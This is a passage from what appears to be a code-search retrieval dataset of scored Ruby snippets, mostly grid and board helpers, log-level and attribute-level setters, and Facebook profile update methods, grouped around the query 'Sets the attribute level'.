"dfd391a8941da27435479408c5d68c79", "score": "0.5701216", "text": "def square_arrays\n squares = []\n org_row = 0\n org_col = 0\n (0..8).each do |i|\n squares[i] = []\n (org_row..org_row+2).each do |k|\n (org_col..org_col+2).each do |j|\n squares[i].push(@board[k][j])\n end \n end\n if org_row == 6\n org_col += 3 \n org_row = 0\n else\n org_row += 3 \n end\n end \n squares\n end", "title": "" }, { "docid": "d62ddcb41a9479397f9437472c5fd28a", "score": "0.56999445", "text": "def tiles\n @tiles\n end", "title": "" }, { "docid": "782a01f5f11e75b09790d50b17d2f46d", "score": "0.5696528", "text": "def levelsize\n w=@width-(2*@border)\n h=@height-(2*@border)\n return [w, w * gridwidth / gridheight ] if fit_width()\n return [h * gridheight / gridwidth, h]\n end", "title": "" }, { "docid": "b2f7ac1486ddd3404585e428e0c05cea", "score": "0.5695987", "text": "def fill_grid(grid)\r\n\tmax = grid.length - 1\r\n\t(1..max).each do |row|\r\n\t\t(1..max).each do |col|\r\n\t\t\tgrid[row][col] = (grid[row][col - 1]) + (grid[row -1][col])\r\n\t\tend\r\n\tend\r\nend", "title": "" }, { "docid": "6d5de2e2e7e5a6ddbd0c77687d119eea", "score": "0.5694371", "text": "def box_row_index\n\t\t\tcell / 27 \n\t\tend", "title": "" }, { "docid": "aa5c2f94530979c822538849b44469ce", "score": "0.5692091", "text": "def get_num_neighbours(x, y)\n neighbours = 0\n (x-1..x+1).each do |col|\n (y-1..y+1).each do |row|\n if in_bounds?(col, row) && !(col == x && row == y) &&\n @grid[row][col] == 1\n neighbours += 1\n end\n end\n end\n neighbours\n end", "title": "" }, { "docid": "0ae5eb1556bd41ebbcaed1a577cbca7b", "score": "0.5691014", "text": "def initialize\n\t\t@rows = 8\n\t\t@cols = 8\n\t\t@grid = Array.new(rows) { Array.new(cols) }\n\tend", "title": "" }, { "docid": "05c04f12a93fd9b5ece3acdaea48b3d0", "score": "0.56825805", "text": "def tile(x, y)\n\n @tiles[x][y]\n end", "title": "" }, { "docid": "c4585a5a525140172c44282b57cf762a", "score": "0.568225", "text": "def initial_piece_placements\n self.grid.each_with_index do |row, row_idx|\n row.each_with_index do |cell, cell_idx|\n pos = [row_idx, cell_idx]\n if pos.all? {|coord| coord.even?} || pos.all? {|coord| coord.odd?}\n if row_idx < 3\n self[pos] = Piece.new(self, pos, :white)\n elsif row_idx >= 5\n self[pos] = Piece.new(self, pos, :black)\n end\n end\n end\n end\n end", "title": "" }, { "docid": "c46d38098c6bc5c929461b14f79d746a", "score": "0.5680357", "text": "def gen_board\n\n (\"A\"..\"I\").each do |row|\n (0..8).each_with_index { |column, value| @board.merge!( { \"#{row}#{column}\".to_sym => @board_array.shift.to_i } ) }\n end\n return @board\n end", "title": "" }, { "docid": "035dd1072c468e350d1f09d36facd939", "score": "0.5679083", "text": "def gen_diagonal_up(row,col)\n array_diagonals =[]\n 0.upto(5).each do |num|\n if ( row - num < 0 || col + num > 6)\n break\n end\n\n array_diagonals << [row-num, col+num] \n end\n array_diagonals.map{|coordinates| @grid[coordinates[1]][coordinates[0]]}\n end", "title": "" }, { "docid": "1138810c888aa2bbcfd967dea7e7f73d", "score": "0.5678677", "text": "def tiles\n return @tiles\n end", "title": "" }, { "docid": "1138810c888aa2bbcfd967dea7e7f73d", "score": "0.5678677", "text": "def tiles\n return @tiles\n end", "title": "" } ]
13cc3b10486c14516c00ac583e7de192
Sets the attribute level
[ { "docid": "85ea436f97b5f1fe2f0e7f1ebb26a3a3", "score": "0.56434184", "text": "def level=(_arg0); end", "title": "" } ]
[ { "docid": "42b6e98f96579c846a99d55e2d8181a3", "score": "0.7782256", "text": "def attribute_level=(value_)\n if value_.kind_of?(Level)\n @attribute_level = value_\n else\n level_obj_ = @level_group.get(value_)\n if level_obj_.nil?\n raise Errors::UnknownLevelError, value_\n end\n @attribute_level = level_obj_\n end\n end", "title": "" }, { "docid": "2f38a576f5691bb3ef7dd83eecff087b", "score": "0.7326816", "text": "def attribute_level\n @attribute_level\n end", "title": "" }, { "docid": "ea7bb839c71b1640d80b3614c8306fd2", "score": "0.70147026", "text": "def level=(value)\n @level = value\n end", "title": "" }, { "docid": "ea7bb839c71b1640d80b3614c8306fd2", "score": "0.70147026", "text": "def level=(value)\n @level = value\n end", "title": "" }, { "docid": "23fc7be586d62c05fb6448642b6ad8d3", "score": "0.68970704", "text": "def level=( level )\n super(level || 0)\n end", "title": "" }, { "docid": "f17ef401f23fa1e55c694720286eeb1d", "score": "0.6710152", "text": "def level_attribute_node_set(input_element)\n input_element.xpath(XPATH[:level_attribute])\n end", "title": "" }, { "docid": "d5d4a7fc8cc297bd83b2120c3df9b839", "score": "0.67009294", "text": "def level=(level)\n @level_index = self.class.map_level_to_index(level)\n @level = level\n end", "title": "" }, { "docid": "ba5747f51a871893940f2f3072a78268", "score": "0.6700659", "text": "def aces_level=(level)\n return if level.nil?\n return unless ['full', 'default', 'none'].include? level.downcase\n logging = REXML::XPath.first(@xml, 'ScanTemplate/Logging')\n if logging.nil?\n logging = REXML::Element.new('Logging')\n @xml.add_element(logging)\n end\n aces = REXML::XPath.first(logging, 'aces')\n if aces.nil?\n aces = REXML::Element.new('aces')\n logging.add_element(aces)\n end\n aces.attributes['level'] = level\n end", "title": "" }, { "docid": "64abebe2a7f2c7c8df10faf6872ab0ea", "score": "0.668137", "text": "def level=(level)\n validator = EnumAttributeValidator.new('String', [\"Unknown\", \"Inline\", \"Block\", \"Row\", \"Cell\"])\n if level.to_i == 0\n unless validator.valid?(level)\n raise ArgumentError, \"invalid value for 'level', must be one of #{validator.allowable_values}.\"\n end\n @level = level\n else\n @level = validator.allowable_values[level.to_i]\n end\n end", "title": "" }, { "docid": "71dc87dcdf1120059f7040405283896e", "score": "0.6651366", "text": "def access_level=(new_level)\n super new_level.to_s\n end", "title": "" }, { "docid": "71dc87dcdf1120059f7040405283896e", "score": "0.6651366", "text": "def access_level=(new_level)\n super new_level.to_s\n end", "title": "" }, { "docid": "a1b3ee84e9f99d779000446b36fdaf34", "score": "0.6613611", "text": "def level=(new_level)\n super new_level.to_s\n end", "title": "" }, { "docid": "27d7cfebcb143127e40798cbe1edbdf7", "score": "0.6577267", "text": "def level=(lvl)\n @level = if lvl.is_a?(Integer)\n lvl\n else\n Level::NAME_TO_LEVEL.fetch(lvl.to_s.upcase)\n end\n end", "title": "" }, { "docid": "d93d8069619ca679a9c4724cf35e5224", "score": "0.6576059", "text": "def level=(new_level)\n @logger.level=Logger::Severity.const_get(new_level.to_sym.upcase)\n end", "title": "" }, { "docid": "196c52bf72ba879b1e8be39fcabc995d", "score": "0.6548062", "text": "def log_level=(level); end", "title": "" }, { "docid": "186d29e2b99c6017d000c26b863cd2cf", "score": "0.6519718", "text": "def level=(level)\n # Check up and down limits\n level = [[level, $data_actors[@actor_id].final_level].min, 1].max\n # Change EXP\n self.exp = @exp_list[level]\n end", "title": "" }, { "docid": "8f5e56d9758401b7ef8a57a972a4d37c", "score": "0.6499504", "text": "def level=(level)\n @level = level\n @implementation.level = @level if @implementation\n level\n end", "title": "" }, { "docid": "5a3391fc6db556f40b839b0207151b59", "score": "0.6495629", "text": "def level(l)\n @config[:level] = l\n end", "title": "" }, { "docid": "e0af93251ae51547bdfc25cb614b5a08", "score": "0.6418724", "text": "def level=(new_level)\n @level = LEVELS[new_level.to_sym]\n reset_methods(:close)\n end", "title": "" }, { "docid": "a6d37d20df510577defe8087e4f4f315", "score": "0.6400262", "text": "def level=(level)\n @level = level\n @log.level = @level\n end", "title": "" }, { "docid": "558e01b062c095bc53b4eaed19623fda", "score": "0.6396704", "text": "def level=(level)\n init unless @initialized\n unless @level_frozen\n new_level = case level\n when Symbol then level_from_sym(level)\n when String then level_from_sym(level.to_sym)\n else level\n end\n if new_level != @level\n @logger.info(\"[setup] setting log level to #{level_to_sym(new_level).to_s.upcase}\")\n @logger.level = @level = new_level\n end\n end\n level = level_to_sym(@level)\n end", "title": "" }, { "docid": "c213a1ab6b9649ce8b9948d893fe7057", "score": "0.634886", "text": "def level=(value)\n @level = ::Logger::Severity.const_get(value.to_s.upcase)\n end", "title": "" }, { "docid": "3fdc8fa3f0090af2bc9d3f1ddbac1caa", "score": "0.6345394", "text": "def loglevel=(level)\n @log.level=level\n end", "title": "" }, { "docid": "4e1e6a46e5d25d7edd18ce2f68f24e07", "score": "0.6321255", "text": "def level=(new_level)\n logger.level = severity_lookup(new_level, :info)\n end", "title": "" }, { "docid": "9f97844b0c64b255a5f2b133d71da165", "score": "0.6280956", "text": "def set_level(level)\n if SEVERITY.has_key? level\n @log_level=level\n else\n raise ArgumentError, \"Invalid log level given\"\n end\n end", "title": "" }, { "docid": "80732d90a1ff4f3fe7e96baa4abb8c7c", "score": "0.6266848", "text": "def log_level=(value)\n logger.level = value\n end", "title": "" }, { "docid": "80732d90a1ff4f3fe7e96baa4abb8c7c", "score": "0.6266848", "text": "def log_level=(value)\n logger.level = value\n end", "title": "" }, { "docid": "80732d90a1ff4f3fe7e96baa4abb8c7c", "score": "0.6266198", "text": "def log_level=(value)\n logger.level = value\n end", "title": "" }, { "docid": "c999283ca71e93e795581edb3ad44d85", "score": "0.62495357", "text": "def level=(level)\n @state[:fiber][:level] = level\n end", "title": "" }, { "docid": "1c7b48bbdd2a2afc54c2037142c5ead6", "score": "0.62470835", "text": "def log_level=(val)\n @@log_level = val\n end", "title": "" }, { "docid": "d11712a9c802a40f6e79676282c3c4b3", "score": "0.62411785", "text": "def set_level(level) # Sets both level and exp\n kendrick_actor_skill_progression_data_progress_set_level(level)\n @exp = exp_for_level\n end", "title": "" }, { "docid": "02d91136bd68f6f03d9e40d6838b3062", "score": "0.61841273", "text": "def set_level(name, level=nil)\n # Default\n unless level then\n level = name\n name = nil\n end\n\n # Look up the level if the user provided a :symbol or \"string\"\n level = MultiLog.string_to_level(level.to_s) unless level.is_a? Fixnum\n\n if name\n # Set a specific one\n raise \"No log by the name '#{name}'\" unless @logdevs[name]\n @logdevs[name][:level] = level\n else\n # Set them all by default \n @logdevs.each{|_, logdev| logdev[:level] = level }\n end\n end", "title": "" }, { "docid": "822932dbe80add868fc474523f7727a7", "score": "0.61557835", "text": "def log_level=(level)\n\t if level == 'debug'\n\t\t\t@log.level = Logger::DEBUG\n\t\telsif level == 'info'\n\t\t\t@log.level = Logger::INFO\n\t\telsif level == 'warn'\n\t\t\t@log.level = Logger::WARN\n\t\telsif level == 'error'\n\t\t\t@log.level = Logger::ERROR\n\t\telsif level == 'fatal'\n\t\t\t@log.level = Logger::FATAL\n\t\tend\n\tend", "title": "" }, { "docid": "822932dbe80add868fc474523f7727a7", "score": "0.61557835", "text": "def log_level=(level)\n\t if level == 'debug'\n\t\t\t@log.level = Logger::DEBUG\n\t\telsif level == 'info'\n\t\t\t@log.level = Logger::INFO\n\t\telsif level == 'warn'\n\t\t\t@log.level = Logger::WARN\n\t\telsif level == 'error'\n\t\t\t@log.level = Logger::ERROR\n\t\telsif level == 'fatal'\n\t\t\t@log.level = Logger::FATAL\n\t\tend\n\tend", "title": "" }, { "docid": "019b97a3ad403d45509cc0c8c6d681c7", "score": "0.6153839", "text": "def level; self['Amplifier'] end", "title": "" }, { "docid": "aa55b655d4d846a85e053827d68d1742", "score": "0.6152715", "text": "def level=(value)\n logger_instance.level = self.class.level_from_any(value)\n end", "title": "" }, { "docid": "f276c6147139cb25932b809315b8ebbf", "score": "0.6146367", "text": "def education_level=(value)\n write_attribute(:education_level, value)\n end", "title": "" }, { "docid": "84bc610cec8f46cec74f4ed4cb9d7b50", "score": "0.6143683", "text": "def loglevel=(level)\n @loglevel = logger.level = level\n end", "title": "" }, { "docid": "eeb38ecba2b1138dc130fd536fa5f4b4", "score": "0.61436015", "text": "def log_level=(level)\n writer.level = level if level.is_a?(Integer) && level.between?(0, 3)\n writer.level = LOG_LEVELS[level] ||\n raise(ArgumentError, \"unknown log level\")\n @level = level\n end", "title": "" }, { "docid": "bb6b875df91b87bc6825372bc20beed8", "score": "0.61322963", "text": "def level= severity\n new_level = derive_severity severity\n fail ArgumentError, \"invalid log level: #{severity}\" if new_level.nil?\n @level = new_level\n end", "title": "" }, { "docid": "1bd0ea05fad76fdf7afe9f1344985207", "score": "0.61146516", "text": "def level= level\n if (0..6).include? level then @level = level\n elsif LEVEL.include? level.to_s then @level = LEVEL.index level\n else @level = UNKNOWN\n end\n end", "title": "" }, { "docid": "5da6fd34f17f700bb6b400b0dee21162", "score": "0.609755", "text": "def log_level=(level)\n logger.level = level\n end", "title": "" }, { "docid": "5a83994b6a42bb3bfc5a1a52c5b90fd0", "score": "0.60770833", "text": "def level=(level)\n @level = level.to_s.downcase.to_sym\n\n loggers.each do |_, logger|\n logger.level = @level\n end\n\n @level\n end", "title": "" }, { "docid": "34edfc630fd5149dadf4b0637fe1ce71", "score": "0.60416675", "text": "def log_level=(level)\n @logger.level = level\n end", "title": "" }, { "docid": "2f19a873f179658574a01abe9ca2c9d8", "score": "0.60097027", "text": "def level=(severity)\n if severity.is_a?(Integer)\n @level = severity\n elsif severity.is_a?(String)\n @level = from_label(severity.upcase)\n elsif severity.is_a?(Symbol)\n @level = from_label(severity.to_s.upcase)\n else\n @level = nil\n end\n end", "title": "" }, { "docid": "532d66928dc202f2ec400289cf139869", "score": "0.59875923", "text": "def level=(severity)\n raise TypeError, \"invalid log level: #{severity}\" if !severity.is_a? Integer\n @level = severity\n end", "title": "" }, { "docid": "4d76333c198993ffa3b79ba1a956ece5", "score": "0.5976498", "text": "def level=(level) # needed to meet the Sentry spec\n @level = level.to_s == \"warn\" ? :warning : level\n end", "title": "" }, { "docid": "85a1f334c93baab34dafaa9b62dff89d", "score": "0.5970574", "text": "def level\n init unless @initialized\n level = level_to_sym(@level)\n end", "title": "" }, { "docid": "ca46c29c9d65e0ca3cb9259cfb064680", "score": "0.5969115", "text": "def set_level(src, level)\n\t\tlog_levels[src] = level.to_i\n\tend", "title": "" }, { "docid": "47d784b45302b51238f2edb76b4f224c", "score": "0.5965388", "text": "def loglevel= level\n self.class.createlogger unless self.class._logobject\n level = level.to_s.downcase.to_sym\n unless JLogger::Simple::LEVELS.has_key? level\n raise ArgumentError, \"'#{level}' is an invalid loglevel\"\n end\n \n self.class._logobject.level = JLogger::Simple::LEVELS[level]\n end", "title": "" }, { "docid": "74e064f7c37ffd306e099ab5c8473681", "score": "0.5943745", "text": "def log_level level\n level = Deployable::Logger.const_get level.upcase unless \n level.kind_of? ::Fixnum\n\n @log.level = level\n end", "title": "" }, { "docid": "fe91115540749767902e32f0c97b2e38", "score": "0.59336704", "text": "def enforcement_level=(value)\n @enforcement_level = value\n end", "title": "" }, { "docid": "513a35e26c094733a834388cdde1daa4", "score": "0.5921783", "text": "def level=(level)\n logger.level = level\n end", "title": "" }, { "docid": "235925b704a4b91bcfca61f91819a0d8", "score": "0.5905315", "text": "def level=(log_level)\n @@log_level = DEBUG_LEVEL[log_level]\n end", "title": "" }, { "docid": "c6086c2cf413e9b0c2679bfcf213bbd9", "score": "0.5880137", "text": "def level=(value_)\n if value_.kind_of?(Level)\n @level = value_\n else\n level_obj_ = @level_group.get(value_)\n if level_obj_.nil?\n raise Errors::UnknownLevelError, value_\n end\n @level = level_obj_\n end\n end", "title": "" }, { "docid": "9b31d10b70daed2577814b1f8c82efce", "score": "0.5876655", "text": "def update!(**args)\n @level = args[:level] if args.key?(:level)\n end", "title": "" }, { "docid": "9b31d10b70daed2577814b1f8c82efce", "score": "0.5876655", "text": "def update!(**args)\n @level = args[:level] if args.key?(:level)\n end", "title": "" }, { "docid": "e4f8deb15013efb464ec2ec8cb177d83", "score": "0.5869166", "text": "def opt_level=(level)\n @opt_level = level.to_i\n C.pass_manager_builder_set_opt_level(self, @opt_level)\n end", "title": "" }, { "docid": "b2141c12f49ac9a665ef0c2b2f905123", "score": "0.5831318", "text": "def level=(severity)\n if severity.is_a?(Integer)\n @level = severity\n else\n _severity = severity.to_s.downcase\n case _severity\n when 'debug'\n @level = DEBUG\n when 'info'\n @level = INFO\n when 'warn'\n @level = WARN\n when 'error'\n @level = ERROR\n when 'fatal'\n @level = FATAL\n when 'unknown'\n @level = UNKNOWN\n when 'null'\n @level = NULL\n else\n raise ArgumentError, \"invalid log level: #{severity}\"\n end\n end\n end", "title": "" }, { "docid": "2dd60d966e09fbca2a93fe092e867b1f", "score": "0.5826157", "text": "def setAttrib(name,value)\n\t\t@attributes[name] = value\n\tend", "title": "" }, { "docid": "44f82412137149c8053539dbc55de32d", "score": "0.57983917", "text": "def log_level=(log_level)\n @log_level = log_level if [DEBUG, INFO, WARN, ERROR].include?(log_level)\n end", "title": "" }, { "docid": "5663ee40b83171559e72185bb4ec1955", "score": "0.57619864", "text": "def log_level=(_arg0); end", "title": "" }, { "docid": "5663ee40b83171559e72185bb4ec1955", "score": "0.57619864", "text": "def log_level=(_arg0); end", "title": "" }, { "docid": "e188ecfaaa1f57c52ff6483225318da9", "score": "0.5747019", "text": "def setLightAttenuation _obj, _args\n \"_obj setLightAttenuation _args;\" \n end", "title": "" }, { "docid": "a850a6fd936d27b21cf8395e35dccfdf", "score": "0.57400435", "text": "def level=(val)\n # Convert strings to the constant value\n val = convert_level(val)\n\n # Update the default log level\n @default_level = val\n\n # Set all loggers' log levels\n @loggers.each do |key, logger|\n logger.level = val\n end\n end", "title": "" }, { "docid": "d508f29eea085d040ff4c00efa72b4ff", "score": "0.57372665", "text": "def set_attribute(name, value); end", "title": "" }, { "docid": "d1aeb5f1a8d7a933e2e7e9551b8a7bb8", "score": "0.5732926", "text": "def level=(value)\n @loggers.each do |logger|\n logger.level = value if logger.respond_to?(:level=)\n end\n end", "title": "" }, { "docid": "59562cb955960b4018e948235bdcbdef", "score": "0.57151026", "text": "def coverage_level= level\n level = -1 unless level\n\n @coverage_level = level\n end", "title": "" }, { "docid": "c4e8ed8c396dd96af39ded221d13c33b", "score": "0.5694983", "text": "def level=(lvl)\n return if lvl == @level\n\n lvl = lvl.clamp(1, $pokemon_party.level_max_limit)\n @exp = exp_list[lvl]\n @exp_rate = 0\n @level = lvl\n end", "title": "" }, { "docid": "d3363849a3747def10c04fb52edb644e", "score": "0.56772095", "text": "def cli_level(level, active: @active, quiet: @quiet)\n\t\t\tlevel=active if level==true #for cli\n\t\t\tlevel=quiet if level==false #for cli\n\t\t\tself.level=level\n\t\tend", "title": "" }, { "docid": "d895e869bed6cd1e9ca170e7516c3d54", "score": "0.5660896", "text": "def set_log_level( level )\n case level\n when :fatal\n ::Logger::FATAL\n when :error\n ::Logger::ERROR\n when :warn\n ::Logger::WARN\n when :info\n ::Logger::INFO\n when :debug\n ::Logger::DEBUG\n else\n ::Logger::INFO\n end\n end", "title": "" }, { "docid": "aa9ca3dcf45ed8d6dbf03f702914ffcc", "score": "0.56582403", "text": "def set_logging_level(level)\n level = level.to_s.downcase\n if %w[debug info warn error fatal unknown].include?(level)\n @logger.level = level.to_sym\n else\n @logger.warn('Invalid logger level')\n end\n end", "title": "" }, { "docid": "95204a212b2e03dde49a4bdcfc572292", "score": "0.56519365", "text": "def set_level\n @level = Level.find(params[:id])\n end", "title": "" }, { "docid": "95204a212b2e03dde49a4bdcfc572292", "score": "0.56519365", "text": "def set_level\n @level = Level.find(params[:id])\n end", "title": "" }, { "docid": "5682e38fe36e7f01968ec4b929165098", "score": "0.56372756", "text": "def set_level(level)\n Merb::Config[:log_level] = level\n Merb.reset_logger!\n end", "title": "" }, { "docid": "bba4e7bf8846d75b85b85555c490894f", "score": "0.5629608", "text": "def set_certification_level(level)\n case level\n when :form_filling\n certification_level = PdfSignatureAppearance::CERTIFIED_FORM_FILLING\n when :form_filling_and_annotations\n certification_level = PdfSignatureAppearance::CERTIFIED_FORM_FILLING_AND_ANNOTATIONS\n when :no_changes_allowed\n certification_level = PdfSignatureAppearance::CERTIFIED_NO_CHANGES_ALLOWED\n when :not_certified\n level = PdfSignatureAppearance::NOT_CERTIFIED\n end\n @stamper.getSignatureAppearance.setCertificationLevel(certification_level)\n end", "title": "" }, { "docid": "b94173f443a10f57933a126cd56e3663", "score": "0.5623467", "text": "def initialize_attribute(attr, access_level)\n attr_name = attr[0].to_sym\n attr_type = (attr[1] || :unknown).to_sym\n\n # Look for the typecaster, raise an error if one is not found\n typecaster = self.typecasters[attr_type]\n if typecaster.nil?\n raise TypecasterNotFound, \"#{attr_type} is an unknown type\"\n end\n # Map the attribute name to the typecaster\n self.attribute_types[attr_name] = typecaster\n # Add the attribute to the proper list\n if access_level == :public\n if self.protected_attribute?(attr_name)\n raise ArgumentError, \"Illegal change of attribute access level for #{attr_name}\"\n end\n\n self.public_attribute_names << attr_name\n else\n if self.public_attribute?(attr_name)\n raise ArgumentError, \"Illegal change of attribute access level for #{attr_name}\"\n end\n\n self.protected_attribute_names << attr_name\n end\n self.attribute_names << attr_name\n true\n end", "title": "" }, { "docid": "e018ebb5dc0166274d9939aa82c58439", "score": "0.5623458", "text": "def logging_level=(level)\n level = Integer(level)\n raise ArgumentError, \"invalid logging level value #{level}\" if level < 1\n @logging_level = level\n end", "title": "" }, { "docid": "54afc2a1f17159d062dfb59f78a6756a", "score": "0.5607395", "text": "def current_level=( level )\n if @base_level.nil?\n @base_level = @cur_level = level\n @level[@base_level-1] = @numbering_start-1\n end\n\n if level < @base_level\n raise ::Webby::Error, \"heading tags are not in order, cannot outline\"\n end\n\n if level == @cur_level\n @level[level-1] += 1\n elsif level > @cur_level\n @cur_level.upto(level-1) {|ii| @level[ii] += 1}\n else\n @cur_level.downto(level+1) {|ii| @level[ii-1] = 0}\n @level[level-1] += 1\n end\n\n @cur_level = level\n end", "title": "" }, { "docid": "a7c70e10f64bd8a006bab1e335311d3c", "score": "0.5601219", "text": "def level(level, context = nil)\n context = context.to_s unless context.nil?\n self.levels[context] = level\n clear_levels_cache!\n end", "title": "" }, { "docid": "f5b990889064a336a4f422d3458f747d", "score": "0.55957365", "text": "def set_skill_level\n @skill_level = SkillLevel.find(params[:id])\n end", "title": "" }, { "docid": "89b926a1808d9c444928d6da037e6af6", "score": "0.5575297", "text": "def log_set (level)\n execute(:log_set, level)\n end", "title": "" }, { "docid": "b914224775aa5bd906bd97cdaf144c6d", "score": "0.55744064", "text": "def alter_user_level(user_level)\n \tself.user_level = user_level\n \tself.save\n end", "title": "" }, { "docid": "33ae5c5c54c84ca959a4d0f18444107c", "score": "0.5570253", "text": "def level_mapping=(mapping)\n case mapping.to_s.downcase\n when 'logger'\n @level_mapping = Logvoyage::LOGGER_MAPPING\n when 'direct'\n @level_mapping = Logvoyage::DIRECT_MAPPING\n else\n @level_mapping = mapping\n end\n end", "title": "" }, { "docid": "5086c452bd4bdf762ebf7062abf13808", "score": "0.5558679", "text": "def remodel( node, info={} )\n level = info[:count] || 1\n node.attributes['level'] = level\n node\n end", "title": "" }, { "docid": "480f6dad1e9321c38d1fffcfb6dab785", "score": "0.5555003", "text": "def cli_level(level, active: @verbose_lvl, disactive: @quiet_lvl)\n\t\t\tlevel=active if level==true #for cli\n\t\t\tlevel=disactive if level==false #for cli\n\t\t\tself.level=level\n\t\tend", "title": "" }, { "docid": "be1f7be6f1b599dcbb4149e1bf7026c9", "score": "0.5545425", "text": "def level(value = nil)\n if value.nil?\n @level\n else\n @level = value\n end\n end", "title": "" }, { "docid": "103e956a672c75e8072cf6cf68505e1c", "score": "0.55449474", "text": "def access_level=(lvl)\n debug \"Setting new access_level in Uv::Storage::File#access_level=#{lvl}\"\n\n #@access_level = lvl\n lvl = uv_access_level(lvl)\n\n debug \"New access_level is '#{lvl}'\"\n\n begin\n if self.mapping.present?\n debug \"File already exists on Uv::Storage, trying to update the record\"\n\n self.mapping.file_path = self.connection.update(mapping.nodes, mapping.file_path, { 'access_level' => lvl } )\n self.mapping.access_level = lvl\n self.mapping.save\n end\n rescue => e\n fatal \"Failed to update remote file and save mapping.\"\n fatal \"Error was: #{e}\"\n\n return false\n end\n\n # update the options (if the file will be saved afterwards)\n self.options['access_level'] = lvl\n\n return true\n end", "title": "" }, { "docid": "1a6fd31d222e8e35a155bd6e4c6209e8", "score": "0.55365556", "text": "def level=(val)\n unless LEVELS.include?(val)\n fail \"Unknown log level, valid values are: #{LEVELS}\"\n end\n\n # Map the log4r levels to our simplified 3 level system\n # log4r level order is DEBUG < INFO < WARN < ERROR < FATAL\n case val\n when :normal\n # Output everything except debug statements\n console.level = Logger::INFO\n # Output everything\n log_files(:level=, Logger::DEBUG) unless console_only?\n when :verbose\n console.level = Logger::DEBUG\n log_files(:level=, Logger::DEBUG) unless console_only?\n when :silent\n # We don't use any fatal messages, so this is effectively OFF\n console.level = Logger::FATAL\n log_files(:level=, Logger::DEBUG) unless console_only?\n end\n\n @level = val\n end", "title": "" }, { "docid": "85df9ef3a0d806e080797d100b6f4d6e", "score": "0.55296195", "text": "def level\n @level\n end", "title": "" }, { "docid": "85df9ef3a0d806e080797d100b6f4d6e", "score": "0.55296195", "text": "def level\n @level\n end", "title": "" }, { "docid": "50e67b8071627fe6022e932ba4c40aa3", "score": "0.55150497", "text": "def set_log_level(log_level)\n case log_level.downcase\n when 'debug'\n @logger.level = Logger::DEBUG\n when 'info'\n @logger.level = Logger::INFO\n when 'warn'\n @logger.level = Logger::WARN\n when 'error'\n @logger.level = Logger::ERROR\n when 'fatal'\n @logger.level = Logger::FATAL\n end\n end", "title": "" }, { "docid": "874f897a5c0f35cfcf5cb064f03aa8bf", "score": "0.5510872", "text": "def ind=(i)\n\t\traise if i < 0\n\t\tindlevel=(i)\n\tend", "title": "" }, { "docid": "bfdbcd7878b763e41df26a0b95cddb2e", "score": "0.5503587", "text": "def set_log_level(level=nil)\n defined?(Rails) and (default = (Rails.env.production? ? \"INFO\" : \"DEBUG\")) or (default = \"INFO\")\n log_level = (ENV['LOG_LEVEL'] || level || default)\n self.level = ZTK::Logger.const_get(log_level.to_s.upcase)\n end", "title": "" }, { "docid": "c29a354701f0c60bbfd360520a30f4a7", "score": "0.5496728", "text": "def update_level_\n end", "title": "" }, { "docid": "4d5f9bd2cfcd47f33fb8124426a1422c", "score": "0.5490696", "text": "def validation_level=(new_validation_level)\n write_attribute(:validation_level, new_validation_level)\n update_validator_from_editor if validation_level_changed?\n end", "title": "" }, { "docid": "abcd899e1bf5918bb9aaf9f3f9fa8537", "score": "0.5485122", "text": "def level; end", "title": "" }, { "docid": "abcd899e1bf5918bb9aaf9f3f9fa8537", "score": "0.5485122", "text": "def level; end", "title": "" }, { "docid": "abcd899e1bf5918bb9aaf9f3f9fa8537", "score": "0.5485122", "text": "def level; end", "title": "" } ]
5b212fafd695f819f9c94a6ba34df4c4
Update of Facebook profile, triggered after creation or update of a post.
[ { "docid": "23563850e9c5f10746f4429f7e99adba", "score": "0.7616673", "text": "def update_facebook_profile\n \n # Only update profile if the owner of this has linked their facebook account \n # Also never update Facebook from the development environment\n if RAILS_ENV != 'development' && user.facebook_user\n begin\n FacebookPublisher.deliver_profile_update(user)\n rescue Exception => exception\n AdminMailer.deliver_error(exception)\n end\n end\n end", "title": "" } ]
[ { "docid": "3fb62b04c2599e32621d19d9f2445ecf", "score": "0.7898439", "text": "def update_facebook_profile\n \n # Only update profile if the owner of the post this picture is attached to \n # has linked their facebook account \n # Also never publish to Facebook from the development environment\n if RAILS_ENV != 'development' && post && post.user.facebook_user\n begin\n FacebookPublisher.deliver_profile_update(post.user)\n rescue Exception => exception\n AdminMailer.deliver_error(exception)\n end\n end\n end", "title": "" }, { "docid": "cdcfb7181720795315a90424cd4e1976", "score": "0.78309447", "text": "def update_facebook_profile\n if user.facebook_user\n begin\n FacebookPublisher.deliver_profile_update(user)\n rescue Exception => exception\n AdminMailer.deliver_error(exception)\n end\n end\n end", "title": "" }, { "docid": "800208431ddcdee1fcfab4b5b1287161", "score": "0.7459332", "text": "def update_profile(profile = {}); JSON[Api::post_profile(profile, self)]; end", "title": "" }, { "docid": "913c235cbc7c86591a34d5c0cacc584c", "score": "0.73517674", "text": "def update_profile(body={})\n perform_post('/account/update_profile.json', :body => body)\n end", "title": "" }, { "docid": "913c235cbc7c86591a34d5c0cacc584c", "score": "0.73517674", "text": "def update_profile(body={})\n perform_post('/account/update_profile.json', :body => body)\n end", "title": "" }, { "docid": "f24123beed6aebcb97f8f2c3a86f0801", "score": "0.7343107", "text": "def update\n\n\t\t# Set the current user\n\t\t@user = current_user\n\n\t\t# Expose whether the user is an admin or not\n\t\t@user_is_admin = @user.admin?\n\n\t\t# How can we know if the admin is\n\t\t# updating their own or someone else's\n\t\t# does it even matter\n\n\t\t# Check that the user is an admin or that the user\n\t\t# owns the profile\n\t\t# Check if a profile exists - if not send them back to account screen - unless they are admins\n\t\tif Profile.exists?(params[:id])\n\n\t\t\t@profile_exists = true\n\t\t\t@profile = Profile.find(params[:id])\n\n\t\t\tif @user_is_admin || @user.id == Profile.find(params[:id]).user_id\n\n\t\t\t\t# Update profile\n\t\t\t\tif @profile.update_attributes(profile_params)\n\t\t\t\t\tflash[:notice] = \"Successfully updated post!\"\n\n\t\t\t\t\tif @user_is_admin\n\n\t\t\t\t\t\t# Is the admin user is working on their profile or someone elses\n\t\t\t\t\t\t#if @user.id == Profile.find(params[:id]).user_id\n\t\t\t\t\t\t#\tredirect_to account_path\n\t\t\t\t\t\t#end\n\n\t\t\t\t\t\t# Send an admin user back to the profile management screen\n\t\t\t\t\t\tredirect_to admin_profile_management_path\n\n\t\t\t\t\telse\n\n\t\t\t\t\t\t# Send a regular user back to their account page\n\t\t\t\t\t\tredirect_to account_path\n\n\t\t\t\t\tend\n\n\t\t\t\telse\n\t\t\t\t\tflash[:alert] = \"Error updating post!\"\n\t\t\t\t\tredirect_to edit_profile_path\n\t\t\t\tend\n\n\t\t\tend\n\n\t\tend\n\n\tend", 